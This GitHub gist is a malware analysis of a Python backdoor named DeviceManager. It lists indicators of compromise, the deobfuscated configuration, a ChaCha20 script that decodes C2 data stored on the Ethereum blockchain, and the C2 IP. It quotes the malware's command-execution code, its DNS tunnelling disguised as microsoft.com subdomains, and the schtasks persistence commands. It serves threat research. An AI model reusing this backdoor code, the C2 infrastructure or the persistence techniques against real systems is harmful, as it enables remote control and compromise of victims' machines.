Skip to content

Instantly share code, notes, and snippets.

@sysopfb
Last active July 8, 2026 15:30
Show Gist options
  • Select an option

  • Save sysopfb/3a90d61f0e9846ea5adf1ddf9087b4de to your computer and use it in GitHub Desktop.

Select an option

Save sysopfb/3a90d61f0e9846ea5adf1ddf9087b4de to your computer and use it in GitHub Desktop.
DeviceManager - Python RAT/Backdoor

b2aa52f6a09022524c8bd2b8411e3b5d7eab8f190300f84ff6ec11464568c96c

Has an onboard python project that is obfuscated

after deobfuscating it appears to be some kind of a backdoor/loader type bot that has an onboard config and retrieves the next hop from the ethereum blockchain,

Config:

    _cfg = AgentConfig(server_url="http://127.0.0.1:8000", token="320473d40b7b18dc9fd3820bd48a55bf15806f835cb79b87f751a3b167534011", transport_mode="dns", dns_server_ip="127.0.0.1", dns_port=53, contract_address="0x5d04ed162c548fc4508cbb59266b02afbaf3ebc1", rpc_endpoints="https://eth.llamarpc.com,https://ethereum-rpc.publicnode.com,https://eth.drpc.org,https://rpc.eth.gateway.fm,https://eth-mainnet.public.blastapi.io,https://gateway.tenderly.co/public/mainnet,https://ethereum.rpc.subquery.network/public,https://eth.api.onfinality.io/public,https://rpc.sentio.xyz/mainnet,https://eth.merkle.io", blockchain_key="320473d40b7b18dc9fd3820bd48a55bf15806f835cb79b87f751a3b167534011", hardcoded_ip="", get_data_selector="1dcf296b")

blockchain data and C2 data are chacha20 encrypted

Decoding data from blockchain:

import struct
import binascii
import hashlib

def _quarter_round(state: list[int], a: int, b: int, c: int, d: int) -> None:
    state[a] = (state[a] + state[b]) & 0xFFFFFFFF
    state[d] ^= state[a]
    state[d] = ((state[d] << 16) | (state[d] >> 16)) & 0xFFFFFFFF

    state[c] = (state[c] + state[d]) & 0xFFFFFFFF
    state[b] ^= state[c]
    state[b] = ((state[b] << 12) | (state[b] >> 20)) & 0xFFFFFFFF

    state[a] = (state[a] + state[b]) & 0xFFFFFFFF
    state[d] ^= state[a]
    state[d] = ((state[d] << 8) | (state[d] >> 24)) & 0xFFFFFFFF

    state[c] = (state[c] + state[d]) & 0xFFFFFFFF
    state[b] ^= state[c]
    state[b] = ((state[b] << 7) | (state[b] >> 25)) & 0xFFFFFFFF

def _chacha20_block(key: bytes, counter: int, nonce: bytes) -> bytes:
    state = [
        0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
        *struct.unpack("<8I", key),
        counter & 0xFFFFFFFF,
        *struct.unpack("<3I", nonce),
    ]

    working = list(state)

    for _ in range(10):
        _quarter_round(working, 0, 4, 8, 12)
        _quarter_round(working, 1, 5, 9, 13)
        _quarter_round(working, 2, 6, 10, 14)
        _quarter_round(working, 3, 7, 11, 15)
        _quarter_round(working, 0, 5, 10, 15)
        _quarter_round(working, 1, 6, 11, 12)
        _quarter_round(working, 2, 7, 8, 13)
        _quarter_round(working, 3, 4, 9, 14)

    output = b""
    for i in range(16):
        output += struct.pack("<I", (working[i] + state[i]) & 0xFFFFFFFF)
    return output

def chacha20_encrypt(key: bytes, nonce: bytes, plaintext: bytes) -> bytes:
    ciphertext = bytearray()
    block_count = (len(plaintext) + 63) // 64

    for counter in range(block_count):
        keystream = _chacha20_block(key, counter, nonce)
        start = counter * 64
        end = min(start + 64, len(plaintext))
        for i in range(start, end):
            ciphertext.append(plaintext[i] ^ keystream[i - start])

    return bytes(ciphertext)

def chacha20_decrypt(key: bytes, nonce: bytes, ciphertext: bytes) -> bytes:
    return chacha20_encrypt(key, nonce, ciphertext)



def _decrypt(ciphertext, key_material, nonce_src):
        key = hashlib.sha256(key_material.encode()).digest()[:32]
        nonce = bytes.fromhex(nonce_src.replace("0x", "").lower()[:24])[:12]
        if len(nonce) < 12:
            nonce = nonce.ljust(12, b"\x00")
        pt = chacha20_decrypt(key, nonce, ciphertext)
        return pt


keys = ['320473d40b7b18dc9fd3820bd48a55bf15806f835cb79b87f751a3b167534011', '320473d40b7b18dc9fd3820bd48a55bf15806f835cb79b87f751a3b167534011']

data = binascii.unhexlify('a0145a80e7bf9a6abec040caea37')

nonce = '0x5d04ed162c548fc4508cbb59266b02afbaf3ebc1'

print(_decrypt(data,keys[0], nonce))

C2:

91.92.240.100

transport mode in this case is set to dns and not http

few hardcoded files

    target_main = install_dir / "agent_main.pyw"
    target_pkg = install_dir / "agent"

    return _state_dir() / "config.json"

    return _state_dir() / "agent.log"

can execute commands

    if shell == "cmd":
        result = run_cmd_disk(payload, timeout) if exec_mode == "disk" else run_cmd(payload, timeout)
    elif shell == "powershell":
        result = run_powershell_disk(payload, timeout) if exec_mode == "disk" else run_powershell(payload, timeout)
    elif shell == "python":
        result = run_python(payload, timeout)

cmd:

        ["cmd.exe", "/Q", "/K"],

powershell:

    return _run_via_stdin(
        [
            "powershell.exe",
            "-NoProfile",
            "-NonInteractive",
            "-NoLogo",
            "-Command",
            "-",

run a command from disk batch file

def run_cmd_disk(payload: str, timeout: int) -> ExecutionResult:
    fd, path = tempfile.mkstemp(suffix=".bat", prefix="_dm_")
    try:
        os.write(fd, ("@echo off\r\n" + payload + "\r\n").encode("utf-8"))
    finally:
        os.close(fd)
    return _run_file(
        ["cmd.exe", "/c", path],

run a powershell command or from disk

detonate a file on disk

C2 traffic, dns version will send custom queries to the C2 IP retrieved from the blockchain a custom subdomain built and added to the beginning of microsoft.com

DNS config:

TYPE_A = 1
TYPE_TXT = 16
CLASS_IN = 1
DOMAIN = "microsoft.com"
CHUNK_SIZE = 3000

C2 traffic example:

checkin code:

    checkin_id = device_hash + tag_short
            info_sent = dns.query_txt(f"i-{device_hash}-{info_hex}") == "1"

checkin:

i-f1a72d8766e7b09f-7c57696e646f777320446566656e6465727c57696e64.6f7773203130202831302e302e3139303434297c4445534b544f502d4554353.1414a4f7c312e337c62653036.microsoft[.com

Decoded:

|Windows Defender|Windows 10 (10.0.19044)|DESKTOP-ET51AJO|1.3|be06

Task list:

        txt = self.query_txt(f"t-{device_hash}-{_os.getpid()}")

Example:

t-4187077e2f3d772a[.microsoft[.com

response in TXT

69635e70-6b2f-457b-8716-7b8fe2aa9b1b:powershell:1

This is: task_id: 69635e70-6b2f-457b-8716-7b8fe2aa9b1b executed by shell: powershell parts: 1

task xml file: https://www.virustotal.com/gui/file/8bafa68d10d445ee59a633bcf912dca4b6873644ef746c4b1f272d99d2a09cba/relations

C2: https://www.virustotal.com/gui/ip-address/91.92.240.100/relations

The backdoor also calls itself

devicemanager-agent

Panel calls itself DeviceManager

scheduled tasks found: schtasks.exe /Create /F /TN IntelSoftwareUpdater /XML C:\Users<USER>\AppData\Local\Temp\t.xml

schtasks.exe /Create /F /TN PythonAppUpdater /XML C:\Users<USER>\AppData\Local\Temp\t.xml

schtasks.exe /Create /F /TN AMDSoftwareUpdater /XML C:\Users<USER>\AppData\Local\Temp\t.xml

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment